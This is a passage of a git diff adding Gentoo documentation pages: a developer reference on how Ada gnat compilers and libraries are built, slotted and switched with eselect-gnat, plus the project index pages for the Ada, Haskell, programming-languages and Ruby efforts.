+				go in a "library place". This is handled automatically by <c>gnat.eclass</c>, inner 
+				workings of which are discussed below.
+			</dd>
+			<dt><b>Executables/other programs</b></dt>
+			<dd>
+				The stuff that is to be executed directly or otherwise is not supposed to be linked
+				against. The prominent examples would be <c>gps</c>, <c>c2ada</c>, etc. 
+				These require no special 
+				treatment and can be built in a regular way with any active compiler or can 
+				depend on a particular variant. One particular issue should be observed however. 
+				If the execuables link against any of the 
+				profile-specific Ada libraries, when user switches gnat profile the particular 
+				binary versions of these libs will become unavailable. In fact, the linker will
+				attempt to select the library by name and will try to link against the binary
+				incompatible variant, resulting in execution failure. To resolve this, such binaries
+				should be compiled with <c>LD_RUN_PATH</c> defined and containing the locations of the 
+				needed variants of the libs.
+			</dd>
+		</dl>
+		<p>
+		The profiles are switched via eselect-gnat module, the usual way. Its internal workings
+		are also discussed in the chapter describing 
+		<c>gnatbuild.eclass</c>.
+		</p>
+	</body>
+	</section>
+</chapter>
+
+
+<chapter>
+<title>gnatbuild.eclass and eselect-gnat</title>
+
+	<section>
+	<title>General notes.</title>
+	<body>
+		<p>
+		The <c>gnatbuild.eclass</c> has been modelled after the <c>toolchain.eclass</c>,
+		similarly providing multiple SLOTs tracking the gcc backend variations. One additional
+		"complication" that we have in Ada case is that there are two related, however different
+		compilers available, as mentioned above. These are provided as separate packages,
+		<c>dev-lang/gnat-gcc</c> for FSF's Ada and <c>dev-lang/gnat-gpl</c> for the one by
+		AdaCore.
+		</p>
+		<warn>Beware! The last one has changed the license from GMGPL to pure GPL no 
+			so long ago.</warn>
+		<p>
+		It is possible they change it again to GPL-3 and FSF will likely want to do so as well.
+		Therefore attention needs to be paid to the licenses when these packages are updated.
+		</p>
+
+		<p>
+		<c>gnat</c> (both versions) can be considered a "yet another gcc frontend", therefore 
+		it is built similarly to other <c>gcc</c> based languages. There is, however, a significant
+		distinction. It may be argued, that Ada is a "real language", in the sense that it
+		requires an Ada-enabled compiler to build itself. This makes the build procedure
+		significantly different from, e.g., <c>gpc</c> or <c>gdc</c> in that we first 
+		need to provide a bootstrap compiler and then setup a bootstrap environment.
+		In practice, the bootstraps need to be created only once, as <c>gcc</c> (and <c>gnat</c>) 
+		internally
+		build itself twice (stage1 and stage2) and then build the final binary and libs with 
+		stage2. Plus, so far, all the new versions of gcc could be built with the oldest at that time
+		backend of gnat - 3.4. If, however, a version of <c>gcc</c> is released that cannot 
+		be built with an old bootstrap (for example, the transition from 2.8 to the later versions
+		was problemmatic), a new one may need to be issued.
+		</p>
+
+		<p>
+		If you take a look at the <c>src_compile</c>, you will notice that all the code dealing
+		with running <c>configure</c> and <c>make</c> is preceded by the block setting many 
+		env vars. Such as (here and everywhere you can refere to the appropriate eclass or ebuild
+		in portage to see all of the code):
+		</p>
+		<pre caption="Setting up bootstrap environment in gnatbuild.eclass">
+	<comment># Set some paths to our bootstrap compiler.</comment>
+	export <ident>PATH</ident>=<const>"${GNATBOOT}/bin:${PATH}"</const>
+	<comment># !ATTN! the *installed* compilers have ${PN} as part of their
+	# LIBPATH, while the *bootstrap* uses hardset "gnatgcc" in theirs
+	# (which is referenced as GNATLIB below)</comment>
+	<ident>GNATLIB</ident>=<const>"${GNATBOOT}/lib/gnatgcc/${BOOT_TARGET}/${BOOT_SLOT}"</const>
+
+	export <ident>CC</ident>=<const>"${GNATBOOT}/bin/gnatgcc"</const>
+	export <ident>INCLUDE_DIR</ident>=<const>"${GNATLIB}/include"</const>
+	export <ident>LIB_DIR</ident>=<const>"${GNATLIB}"</const>
+	export <ident>LDFLAGS</ident>=<const>"-L${GNATLIB}"</const>
+	...  </pre>
+
+		<p>
+		These settings serve the purpose of letting the gnat build scripts find the bootstrap
+		compiler, so that we do not have to depend on having some version of Ada-enabled 
+		<c>gcc</c> already installed on the system. While pretty plain, this part may get somewhat
+		tricky. What vars you need to set or avoid depends on the version of toolchain 
+		the build host has active. The most "abusive" package in the toolchain was traditionally
+		<c>binutils</c>. In fact there were many bugs reporting build failures with <c>configure</c>
+		complaining that <c>CC</c> is
+		unable to find <c>collect1</c> or some other part of the bootstrap compiler. The most
+		common cause of these bugs was related to having an old version of <c>binutils</c>
+		installed on user's computer. Correspondingly, it was necessary to force gnat to depend
+		on a appropriately recent version of <c>binutils</c>. Fortunately, it seems that toolschain
+		has largerly stabilized in the last year or so, as this has not been necessary for
+		quite a while.
+		</p>
+	</body>
+	</section>
+
+	<section>
+	<title>Partitioning of the src_* functions.</title>
+	<body>
+
+		<p>
+		Lets take a look at some other <c>gnatbuild.eclass</c> internals. One can notice,
+		that all the <c>src_*</c> functions are partitioned in semi-independent sections,
+		as per the <uri link="">eclass guide</uri>. For example the <c>src_unpack</c>
+		has the following form:
+		</p>
+		<pre caption="gnatbuild_src_unpack structure">
+<comment># common unpack stuff</comment>
+gnatbuild_src_unpack() {
+	debug-print-function ${FUNCNAME} $@
+	[ -z <const>"$1"</const> ] &amp;&amp;  gnatbuild_src_unpack all
+
+	while [ <const>"$1"</const> ]; do
+	case $1 in
+		base_unpack)
+			unpack ${A}
+			pax-mark E $(find ${GNATBOOT} -name gnat1)
+
+			cd ${S}
+			<comment># patching gcc sources, following the toolchain</comment>
+			EPATCH_MULTI_MSG=<const>"Applying Gentoo patches ..."</const> \
+				epatch <const>"${FILESDIR}"</const>/patches/*.patch
+			...
+		;;
+
+		common_prep)
+			<comment># Prepare the gcc source directory</comment>
+			cd <const>"${S}/gcc"</const>
+			touch cstamp-h.in
+			...
+		;;
+
+		all)
+			gnatbuild_src_unpack base_unpack common_prep
+		;;
+	esac
+	shift
+	done
+}
+	</pre>
+	<p>
+	This allows the subsections to be called independently from within overriding
+	function, such as would be an ebuild's <c>src_unpack</c> in this case. For example 
+	<c>gnat-gpl-3.4.5.2005.ebuild</c> has the following in its <c>src_unpack</c>:
+	</p>
+	<pre caption="gnat-gpl-3.4.5.2005.ebuild's src_unpack">
+src_unpack() {
+	gnatbuild_src_unpack base_unpack
+
+	<comment># prep gcc sources for Ada</comment>
+	mv <const>"${GNATSOURCE}/src/ada" "${S}/gcc"</const>
+	cd <const>"${S}"</const>
+	epatch ${WORKDIR}/${PN}-gcc-${SLOT}.diff
+
+	gnatbuild_src_unpack common_prep
+
+	<comment># one of the converted gcc->gnatgcc in common_prep needs to stay gcc in
+	# fact in this version</comment>
+	sed -i -e <const>'s:(Last3 = "gnatgcc"):(Last3 = "gcc"):' "${S}/gcc/ada/makegpr.adb"</const>
+} </pre>
+
+		<p>
+		<c>gnat_src_compile</c> and <c>gnat_src_install</c> are partitioned in a similar
+		way, allowing easy modifications to be performed at every step. Although, 
+		as compilers from both FSF and ACT are becoming more unified,
+		this is rarely necessary in later versions.
+		</p>
+	</body>
+	</section>
+
+
+	<section>
+	<title>SLOTs and virtuals.</title>
+
+	<body>
+		<p>
+		Gentoo has long had support for parallel istallation of different major package
+		versions. Yes, I am talking about the famous SLOT mechanism. As here we are dealing with
+		multiple compiler variants that are supposed to be code-compatible, it only makes sense
+		to make a good use of this mechanism. It only needed to be modified to accept multiple
+		package names in our case. As all the SLOT "inner workings" are done right in the 
+		eclass/ebuild code, there is nothing special about it. All what was necessary to do,
+		was to extend SLOT logic to accept proper package names.
+		</p>
+
+		<p>
+		The important part of getting SLOTs right is to use suitable naming conventon. After
+		much discussion in <uri link="">bug #..</uri> the following naming scheme was adopted:
+		<c>${PN}-${GCCVER}.${ACTVer}</c> (may be followed by the usual -rX for Gentoo specific 
+		revisions). Here
+		</p>
+
+		<table>
+			<tr>
+				<th>${PN}</th>
+				<th>
+					Stands for the package name. Right now we have <c>gnat-gcc</c> for FSF's variant
+					and <c>gnat-gpl</c> for the one by AdaCore. More may be added, should we try to add
+					some other Ada compiler to the tree.
+				</th>
+			</tr>
+
+			<tr>
+				<th>${GCCVer}</th>
+				<th>
+					The gcc backend version. Something like <c>3.4.6</c> or <c>4.2.0</c>. This part is
+					split in a way similar to how it is done in <c>toolchain.eclass</c> to obtain
+					<c>GCCMAJOR</c> .. <c>GCCRELEASE</c> vars. The "in-package" part of qualifier
+					(denoted as the SLOT, to keep it compatible with the "usial way") is determined
+					solely by this var and ecuals (as in <c>toolchain</c>) <c>${GCCBRANCH}</c>.
+					While ACT omits this qualifier in its <c>gnat</c> versions, it is necessary to
+					have it supplied for consistency and proper SLOT calculation.
+				</th>
+			</tr>
+
+			<tr>
+				<th>${ACTVer}</th>
+				<th>
+					The Ada-specific part of the version. The name got "inspired" by ACT variants
+					always (so far) coming with some ACT specific lable. For example 
+					<c>gnat-2006</c>. In the <c>gnat-gcc</c> case this part is empty.
+				</th>
+			</tr>
+		</table>
+
+		<p>
+		Let's consider two possible examples of fully qualified package names.
+		</p>
+
+		<dl>
+			<dt>gnat-gcc-4.2.0</dt>
+			<dd>
+				<c>gnat-gcc</c> - an FSF version of <c>gnat</c> compiler, released
+				along with the <c>4.2.0</c> version of <c>gcc</c>.
+			</dd>
+
+			<dt>gnat-gpl-3.4.6.2006-r1</dt>
+			<dd>
+				An AdaCore's (<c>gnat-gpl</c>) version of <c>gnat</c> based on <c>gcc-3.4.6</c>
+				backend with the Ada specific code as in <c>gnat-gpl-2006</c>, Gentoo specific
+				revision <c>-r1</c>.
+			</dd>
+		</dl>
+
+		<p>
+		As with <c>gcc</c>, the code produced by compiler is only binary compatible
+		within the same major version (SLOT). While theoretically one can try combining
+		object files produced by <c>gnat-gpl</c> to those produced by <c>gnat-gcc</c>
+		having identical backend version, such combinations are not supported. One must
+		also be aware of potential differences in the produced <c>ali</c>	files.
+		As such, both <c>${PN}-${SLOT}</c> components are defining the "operational SLOT"
+		or profile specification. Moreover, a fully qualified profile name will contain
+		an additional component - <c>${ARCH}</c> to allow for the possibility of crosscompilation.
+		However the description of this is left to the section dealing with <c>eselect-gnat</c>
+		internals.
+		</p>
+
+		<p>
+		As is often the case with packages providing similar functionality, we provide a virtual
+		that tracks various <c>gnat</c> versions: <c>virtual.gnat</c>. This is a "new style" 
+		(that is, resembpling a regular package) virtual that tracks the <c>gcc</c> backend
+		versions, the <c>3.4</c>, <c>4.1</c> and <c>4.2</c> are provided as of now. 
+		Also, as Ada-2005 standard has been recently approved, some packages are starting to 
+		require and Ada-2005 capable compiler (of which only <c>gnat-gpl-2007</c> can be considered
+		to be providing a reasonably complete subset of Ada-2005 functionality at this moment). 
+		It becomes necessary to provide another vortual: <c>virtual/ada</c> that may be populated
+		with <c>ada-1983</c>, <c>ada-1995</c> and <c>ada-2005</c>, provdiding dependencies on
+		appropriate versions of <c>gnat</c>.
+		</p>
+	</body>
+	</section>
+
+	<section>
+	<title>Install locations</title>
+	<body>
+		<p>
+			The installation procedure mimics (again) that of <c>gcc</c>. The only principal 
+			difference (at the time of this writing) is that <c>gnat</c> compilers have 
+			been already transitioned
+			to make use of <c>$(get_libdir)</c> where proper, while <c>toolchain</c> has not
+			done so yet. The following global vars are defined to manage the install locations:
+		</p>
+
+		<pre caption="gnat install locations">
+<comment># set our install locations</comment>
+PREFIX=${GNATBUILD_PREFIX:-/usr} <comment># not sure we need this hook, but may be..</comment>
+LIBPATH=${PREFIX}/$(get_libdir)/${PN}/${CTARGET}/${SLOT}
+LIBEXECPATH=${PREFIX}/libexec/${PN}/${CTARGET}/${SLOT}
+INCLUDEPATH=${LIBPATH}/include
+BINPATH=${PREFIX}/${CTARGET}/${PN}-bin/${SLOT}
+DATAPATH=${PREFIX}/share/${PN}-data/${CTARGET}/${SLOT}
+<comment># ATTN! the one below should match the path defined in eselect-gnat module</comment>
+CONFIG_PATH=<const>"/usr/share/gnat/eselect"</const>
+gnat_config_file=<const>"${D}/${CONFIG_PATH}/${CTARGET}-${PN}-${SLOT}"</const> </pre>
+
+		<p>Lets go over these locations in more detail.</p>
+		<table>
+			<tr>
+				<th>Path/variable</th>
+				<th>Description</th>
+			</tr>
+
+			<tr>
+				<th><c>BINPATH</c></th>
+				<th>
+					This is where the libraries are installed. The <c>.so</c> files and such.
+					The variable itself also serves as a top location for <c>INCLUDEPATH</c>
+				</th>
+			</tr>
+
+			<tr>
+				<th><c>LIBEXECPATH</c></th>
+				<th>
+					As per FHS, the location of "other executables". Needs to be on the <c>PATH</c>
+					as well. Like <c>gcc</c>, <c>gnat</c> keeps here the compiler driver related
+					files: <c>cc1</c>, <c>collect2</c> and <c>gnat1</c>.
+				</th>
+			</tr>
+
+			<tr>
+				<th><c>LIBPATH</c></th>
+				<th>
+					This is where the libraries are installed. The <c>.so</c> files and such.
+					The variable itself also serves as a top location for <c>INCLUDEPATH</c>
+				</th>
+			</tr>
+
+			<tr>
+				<th><c>INCLUDEPATH</c></th>
+				<th>
+					Specs go here. Following <c>toolchain</c> this resides under <c>LIBPATH</c>.
+					The main reason is that, unlike with the libs, we want to keep specs for every
+					compiler variant separate.
+				</th>
+			</tr>
+
+			<tr>
+				<th><c>DATAPATH</c></th>
+				<th>
+					Man, info, locale files. Again, these may differ between <c>gnat</c> variants,
+					so keep them separate.
+				</th>
+			</tr>
+
+			<tr>
+				<th><c>CONFIG_PATH</c></th>
+				<th>
+					Where data describing these install location is stored for the <c>gnat.eselect</c>
+					module. The <c>gnat_config_file</c> variable points to the file containing 
+					the profile-specific data.
+				</th>
+			</tr>
+		</table>
+
+	</body>
+	</section>
+
+	<section>
+	<title>eselect-gnat workings</title>
+	<body>
+		<p>
+			<c>eselect-gnat</c> was modelled after the <c>eselect-compiler</c> module, that was
+			supposed to supersede the <c>gcc-config</c> script at the time of development. Of
+			course that got shot down and now we are "stuck" with <c>gnat</c> using the "more
+			modern" tool, while <c>gcc</c> is still handled by legacy <c>gcc-config</c> script. 
+			Nonetheless, <c>eselect-gnat</c> works well with the way Ada support is setup in
+			Gentoo, and below I describe its inner workings.
+		</p>
+
+		<p>
+			Inheriting all the general features of <c>gcc</c>, the run-time behavior of
+			<c>gnat</c> can be extensively regulated by env vars. As such, the approach that was
+			adopted consists of the compiler producing the "specs" file tat contains all the
+			principal locations during its build, and <c>eselect-gnat</c> using this generated
+			file to create an appropriate entry under the <c>/etc/env.d</c>. There are no
+			additional "hidden entries", everything rotates around the way env settings are 
+			managed in Gentoo. Thus, <c>eselect gnat set</c>, <c>update</c> and <c>unset</c>
+			actions directly operate on the env entry (re)creating a new or deleting an existing
+			one. This env file has the name of the form <c>${MARKER}${gnat_profile}</c> with
+			<c>MARKER</c> currently set to <c>MARKER="55gnat-"</c> and <c>gnat_profile</c>
+			having a usial form of <c>${ARCH}-${compiler_name}-${SLOT}</c>, such as
+			<c>x86_64-pc-linux-gnu-gnat-gcc-4.2</c> for example. The generation of the original
+			specs file for each compiler is performed by the <c>create_eselect_conf</c> function
+			in the <c>prep-env</c> part of the <c>gnatbuild_src_install</c> function in
+			<c>gnatbuild.eclass</c>. And the specs file location is defined near the op of
+			<c>gnatbuild.eclass</c> as:
+		</p>
+		<pre caption="gnat profile specs location">
+<comment># ATTN! the one below should match the path defined in eselect-gnat module</comment>
+CONFIG_PATH=<const>"/usr/share/gnat/eselect"</const>
+gnat_config_file=<const>"${D}/${CONFIG_PATH}/${CTARGET}-${PN}-${SLOT}"</const> </pre>
+
+		<p>
+			The <c>${CONFIG_PATH}</c> serves as the top directory where all the information
+			necessary for the <c>gnat.eselect</c> is stored. Every gnat installs a single file
+			that has a name/SLOT specific name, thus overwriting the one for older version
+			within the same grouping but avoiding collision with a different compiler or SLOT.
+			Every installed library created a subdir under <c>${CONFIG_PATH}</c> that, in turn,
+			contains library spec files for every gnat profile it was compiled with. More on the
+			libs below, in the corresponding section. The location for <c>${CONFIG_PATH}</c> has
+			been purposedly chosen outside normally config-protected locations, so that spec
+			files are removed when the corresponding version of compiler is unmerged. The same
+			goes for the libs. 
+			Therefore, figuring out what variants of gnat are installed is a simple matter of
+			scanning <c>${CONFIG_PATH}</c> for the specs files and then splitting them into the
+			<c>${ARCH}</c>, <c>${compiler_name}</c> and <c>SLOT</c> components. Right now every
+			lib is supposed to create a separate directory for itself and every regular file
+			under <c>${CONFIG_PATH}</c> is expected to be a specs file for some compiler
+			variant.
+		</p>
+		<p>
+			<c>eselect-gnat</c> provides common actions, such as <c>show</c> and <c>list</c> as
+			well as <c>set</c> and <c>update</c>. As all the relevant information for all
+			gnat profiles is concentrated under <c>${CONFIG_PATH</c>, determination of 
+			The <c>set</c> accepts the name of the gnat
+			profile to activate as an argument and update simply rege
+		</p>
+
+	</body>
+	</section>
+</chapter>
+
+
+<chapter>
+<title>gnat.eclass and libraries</title>
+
+	<section>
+	<title>Overview</title>
+	<body>
+		<p>
+			As was described above, in Gentoo we provide multiple SLOTted versions of <c>gnat</c>
+			compilers that users can have installed in parallel. Unlike with many other languages,
+			Ada compilers tend to follows the standard rather tightly. Therefore most, if not all,
+			the common libs are expected to compile cleanly with any compiler, provided it implements
+			the necessary version of Ada standard. Therefore it was decided to provide users with the
+			ability to have libs compiled for all the installed gnat variants and to make eselect
+			to switch to an appropriate lib image when a certain <c>gnat</c> profile is activated.
+		</p>
+		<p>
+			The libs are managed by <c>gnat.eclass</c>, which automates their handling. The principal
+			action happens in the <c>src_compile</c> function. All the installed gnat profiles are 
+			geting activated in turn and the lib gets compiled multiple times for every profile.
+			The <c>src_install</c> function then collects the compiled parts and installs them
+			in appropriate locations. The detailed workings of the eclass will be considered
+			below. Here I will just note again, that <c>gnat.eclass</c> is designed to be used
+			with the "common Ada libs" and thus should be used only where appropriate. It makes
+			no sense to use it to build some directly executable application for example.
+		</p>
+	</body>
+	</section>
+
+	<section>
+	<title>Detailed sequence of multi-build.</title>
+	<body>
+		<p>
+			As was already mentioned, the principal "magic" happens in <c>src_compile</c>. Here
+			we have to:
+		</p>
+		<ol>
+			<li>copy the source directory, so that the build does not poison the original,</li>
+			<li>activate the next compiler profile,</li>
+			<li>
+				call the <c>lib_compile</c> callback, which now holds stuff that normally
+				happens in <c>src_compile</c> of a normal ebuild.
+			</li>
+			<li>call the <c>lib_install</c> callback. This function is supposed to be similar to
+				the normal <c>src_install</c> except that it only needs to concern itself with
+				installing the gnat-profile specific stuff. The compiled <c>.a</c> or <c>.so</c>
+				files or config scrits are the most common "ingredients" that are processed by it.
+			</li>
+		</ol>
+		<p>
+			and cycle through these steps untill we go through all the installed <c>gnat</c> 
+			compilers. The following code fragment is responsible for doing just this.
+		</p>
+		<pre caption="fragment of gnat_src_compile function">
+gnat_src_compile() {
+	<comment>...</comment>
+	compilers=( $(find_compilers ) )
+	if [[ -n ${compilers[@]} ]] ; then
+		local i
+		for (( i = 0 ; i &lt; ${#compilers[@]} ; i = i + 1 )) ; do
+		<comment># copy sources</comment>
+			mkdir ${DL}
+			cp -dpR "${S}" ${SL}
+			<comment># setup environment</comment>
+			generate_envFile ${compilers[${i}]} ${BuildEnv} &amp;&amp; \
+			expand_BuildEnv ${BuildEnv} &amp;&amp; \
+			. ${BuildEnv}  || die "failed to switch to ${compilers[${i}]}"
+			...
+			<comment># call compilation callback</comment>
+			cd ${SL}
+			gnat_filter_flags ${compilers[${i}]}
+			lib_compile ${compilers[${i}]} || die "failed compiling for ${compilers[${i}]}"
+
+			<comment># call install callback</comment>
+			cd ${SL}
+			lib_install ${compilers[${i}]} || die "failed installing profile-specific part for ${compiler
+			<comment># move installed and cleanup</comment>
+			mv ${DL} ${DL}-${compilers[${i}]}
+			rm -rf ${SL}
+		done
+	else
+		die "please make sure you have at least one gnat compiler installed!"
+	fi
+} </pre>
+
+
+		<p>
+			Next, the <c>src_install</c> function.
+			Here, we need to 
+		</p>
+	</body>
+	</section>
+</chapter>
+
+</guide>
+
+<!-- vim: set tabstop=2: -->
+<!-- vim: set shiftwidth=2: -->
diff --git a/xml/htdocs/proj/en/prog_lang/ada/index.xml b/xml/htdocs/proj/en/prog_lang/ada/index.xml
new file mode 100644
index 00000000..c8b59532
--- /dev/null
+++ b/xml/htdocs/proj/en/prog_lang/ada/index.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd"> 
+<project>
+	<name>Ada</name>
+	<longname>Gentoo Resources for Ada</longname>
+
+	<date>28 Sep 2007</date>
+
+	<author title="Developer">
+		<mail link="george@gentoo.org">George Shapovalov</mail>
+	</author>
+
+
+	<description>
+		Gentoo Specific Support for Programming in Ada.
+	</description>
+
+	<longdescription>
+		<p>
+			This project provides support for Ada compilers and libraries in portage. 
+			At present two gnat compilers are provided, gnat-gcc by FSF and gnat-gpl by 
+			AdaCore. Both are SLOTted and made to coexist, with the selection of the active
+			compiler performed via the eselect gnat module. Various Ada libraries and related 
+			packages are available under dev-ada. The libs support the multi-compiler 
+			situation by being built for every gnat profile that is installed. Selection 
+			of the active lib variant is done simultaneously with the selection of the 
+			active compiler via the same eselect gnat command. More details on the 
+			setup can be found in the 
+			resource section below and the lengthy discussion that lead to this organization in 
+			<uri link="https://bugs.gentoo.org/show_bug.cgi?id=111340">bug #111340</uri>.
+			The implementation of the structure is nearing completion. Its progress can be
+			tracked via:
+			<uri link="https://bugs.gentoo.org/show_bug.cgi?id=137268">bug #137268</uri>. 
+			"Old-style" dev-lang/gnat and dev-ada/asis packages have been masked and recently removed. 
+		</p>
+	</longdescription>
+
+	
+<!--  <herd name="ada" />  -->
+
+<dev role="lead">george</dev>
+
+<resource link="dev_reference.xml">
+	Developer reference: internal structure and organization of Ada packages.
+</resource>
+
+</project>
diff --git a/xml/htdocs/proj/en/prog_lang/haskell/index.xml b/xml/htdocs/proj/en/prog_lang/haskell/index.xml
new file mode 100644
index 00000000..ee9f63a4
--- /dev/null
+++ b/xml/htdocs/proj/en/prog_lang/haskell/index.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd"> 
+<project>
+	<name>Haskell</name>
+	<longname>Gentoo Resources for Haskell</longname>
+
+	<date>11 Nov 2006</date>
+
+	<author title="Developer">
+		<mail link="dcoutts@gentoo.org">Duncan Coutts</mail>
+	</author>
+
+
+	<description>
+		Gentoo Specific Support for Programming in Haskell.
+	</description>
+
+	<longdescription>
+		<p>
+			The Haskell project maintains the packages for Haskell implementations,
+      libraries and development tools. We support GHC, Hugs and Helium though
+      GHC is the best supported. The library packages work only with GHC.
+		</p>
+    <p>
+      There is an overlay where we work on Haskell ebuilds before getting them
+      into the main portage cvs tree. You can get the overlay using layman.
+    </p>
+    <p>
+      All development discussion takes place on the <uri
+      link="/main/en/irc.xml">#gentoo-haskell</uri> irc channel. This channel is
+      the appropriate place to report bugs in packages that are in the overlay.
+      They should <b>not</b> be reported in bugzilla, that's the place to
+      report bugs about packages in the main portage cvs tree.
+    </p>
+	</longdescription>
+
+	
+<dev role="Member">araujo</dev>
+<dev role="Member">slyfox</dev>
+<dev role="Lead">kolmodin</dev>
+<herd name="haskell"/>
+
+</project>
diff --git a/xml/htdocs/proj/en/prog_lang/index.xml b/xml/htdocs/proj/en/prog_lang/index.xml
new file mode 100644
index 00000000..f9e49b3a
--- /dev/null
+++ b/xml/htdocs/proj/en/prog_lang/index.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd"> 
+<project>
+<name>Gentoo Programming Resources</name>
+<longname>Gentoo Resources for Programming Languages</longname>
+
+<date>22 Jul 2008</date>
+
+<author title="Developer">
+<mail link="george@gentoo.org">George Shapovalov</mail>
+</author>
+
+
+<description>
+Gentoo Specific Support for Programming Environments.
+</description>
+
+<longdescription><p>
+The project provides coverage for Gentoo specific issues associated with 
+various programming languages that can be found in portage. Right now the 
+top level is mostly a placeholder for all the individual subprojects. However
+common initiatives covering the topic are wellcome! Everybody interested is 
+invited to take a look at the
+<uri link="https://bugs.gentoo.org/show_bug.cgi?id=151118">bug #151118</uri>
+and take part in discussion.
+</p></longdescription>
+
+<goals>
+<p> 
+The overal goal is to provide necessary resources supporting "The Gentoo
+Way" of dealing with programming environments. That is, flexible setup
+and, where it makes sense, coexisting multiple versions/realizations of
+compilers with an easy way to switch between those, while automating
+mundane tasks.
+</p>
+
+<p>
+Often it happens that multiple compiler suits can be used to compile
+existing libraries.  However the resulting libs are usually ABI
+incompatible, meaning that code utilizing these libs should be compiled
+with the same compiler. This situation can be further complicated by
+interdependencies between the provided libs. To address this situation it
+is necessary to introduce some kind of "ABI tracking" ability. Ideally
+this would be done by providing some extra dependency info and having
+portage deal with it. However this requires support on the portage side
+and as it is not going to happen soon.  There is a discussion under way on
+how this can be done now. Those interested please take a look at <uri
+link="https://bugs.gentoo.org/show_bug.cgi?id=151343">bug
+#151343</uri>.
+</p>
+
+<p>
+Another issue common to multiple language implementations is that quite a
+few of them have a compiler that is a gcc frontend. As such their build
+procedure is quite similar and so it would make sense to work on a common
+eclass, possibly even combining everything with toolchain.eclass. The
+affected compilers that I had to deal with are: gpc (Pascal, in portage),
+gdc (D, not in portage but has may interested users) and gnat (Ada). The
+last one in fact is further subdivided into gnat-gcc for version produced
+by FSF and gnat-gpl produced by AdaCore.  These gnat versions have a
+proper eclass common to all of them, and thus other compilers can be based
+on that one.
+</p>
+
+</goals>
+
+<dev role="Lead">george</dev>
+
+<subproject ref="/proj/en/prog_lang/ada/index.xml"/>
+<subproject ref="/proj/en/prog_lang/haskell/index.xml"/>
+<subproject ref="/proj/en/prog_lang/ruby/index.xml" />
+
+</project>
diff --git a/xml/htdocs/proj/en/prog_lang/ruby/index.xml b/xml/htdocs/proj/en/prog_lang/ruby/index.xml
new file mode 100644
index 00000000..45fd4b7d
--- /dev/null
+++ b/xml/htdocs/proj/en/prog_lang/ruby/index.xml
@@ -0,0 +1,316 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd"> 
+<project>
+    <name>Ruby</name>
+    <longname>Gentoo Ruby Project</longname>
+    <date>02 May 2010</date>
+
+    <author title="Original author">
+        <mail>nichoj</mail>
+    </author>
+
+    <author title="Author">
+        <mail link="graaff@gentoo.org">Hans de Graaff</mail>
+    </author>
+
+    <author title="Author">
+        <mail link="a3li@gentoo.org">Alex Legler</mail>
+    </author>
+
+    <description>This project provides support for the Ruby programming language.</description>
+
+    <longdescription>
+        <p>
+            The Ruby project maintains packages for <uri link="http://www.ruby-lang.org/en/">Ruby
+            </uri> implementations, libraries and development tools.
+        </p>
+        <p>
+            This project also maintains the <uri link="http://rubygems.org/">RubyGems</uri> package,
+            the de facto standard for packaging Ruby projects. Many Ruby packages currently in the
+            Portage tree use this mechanism for installing.
+        </p>
+        <p>
+            Highlighted packages include <uri link="http://rake.rubyforge.org">Rake</uri>,
+            <uri link="http://rubyonrails.org/">Ruby on Rails</uri>,
+            <uri link="http://www.capify.org/">Capistrano</uri>,
+            and <uri link="http://rspec.info/">RSpec</uri>, to name a few.
+        </p>
+    </longdescription>
+
+    <recruitment>
+        <job>
+            <summary>General package maintainer</summary>
+            <details>
+                General ruby package maintainer to help out managing
+                packages in the herd. Revision bumping, bug
+                filing/fixing, updating ebuilds per eclass or syntax
+                changes, etc. This involves a mix of gem and source
+                based ebuilds.
+            </details>
+            <requirements>
+                Experience with ruby on Linux, ideally
+                Gentoo. Knowledge of the gem repository system and its
+                supporting software and experience with building ruby
+                software using setup.rb and its many incarnations.
+            </requirements>
+            <contact>ruby@gentoo.org</contact>
+        </job>
+        <job>
+            <summary>Ruby core package maintainer</summary>
+            <details>
+                Ruby core package maintainer to help out with the core
+                ruby packages (dev-lang/ruby and
+                dev-ruby/rubygems). Revision bumping, handling
+                security bugs, patching packages to play nice with
+                Gentoo, following upstream to handle changes and
+                updates in a timely manner.
+            </details>
+            <requirements>
+                Experience with ruby on Linux, ideally
+                Gentoo. Knowledge of C and ruby. Experience with
+                patching software.
+            </requirements>
+            <contact>ruby@gentoo.org</contact>
+        </job>
+    </recruitment>
+
+    <resource link="irc://irc.freenode.org/#gentoo-ruby">#gentoo-ruby on irc.freenode.net</resource>
+    <resource link="http://tinyurl.com/2le9ba">Ruby bugs</resource>
+    <resource link="http://overlays.gentoo.org/proj/ruby/wiki">Ruby overlay and project wiki</resource>
+    <resource link="http://gems.stingray.a3li.info/">RubyGem ebuilds needing an update</resource>
+
+    <task id="ruby-1.9" finished="no" lead="a3li">
+        <name>Ruby 1.9</name>
+        <description>Support for all Ruby packages with 1.9</description>
+        <longdescription>
+            <p>
+                Ruby 1.9.1 is going to be the first stable release of Ruby 1.9, to be released in January 2009.
+
+                Our infrastructure is currently being updated, so we should have ebuilds in the near future.
+            </p>
+        </longdescription>
+        <startdate>12-29-2007</startdate>
+        <milestone finished="yes">
+            <enddate></enddate>
+            <description>Package Ruby 1.9</description>
+        </milestone>
+        <milestone finished="yes">
+            <enddate></enddate>
+            <description>Create new eclasses</description>
+        </milestone>
+        <milestone finished="yes">
+            <enddate></enddate>
+            <description>Have a working way to switch default symlinks. Done with eselect-ruby.</description>
+        </milestone>
+        <milestone finished="no">
+            <enddate></enddate>
+            <description>Verify USE_RUBY status for all packages in the tree</description>
+        </milestone>
+    </task>
+
+    <extrachapter position="devs">
+        <title>Supported Ruby implementations</title>
+        <section>
+            <title>Overview</title>
+            <body>
+                <p>
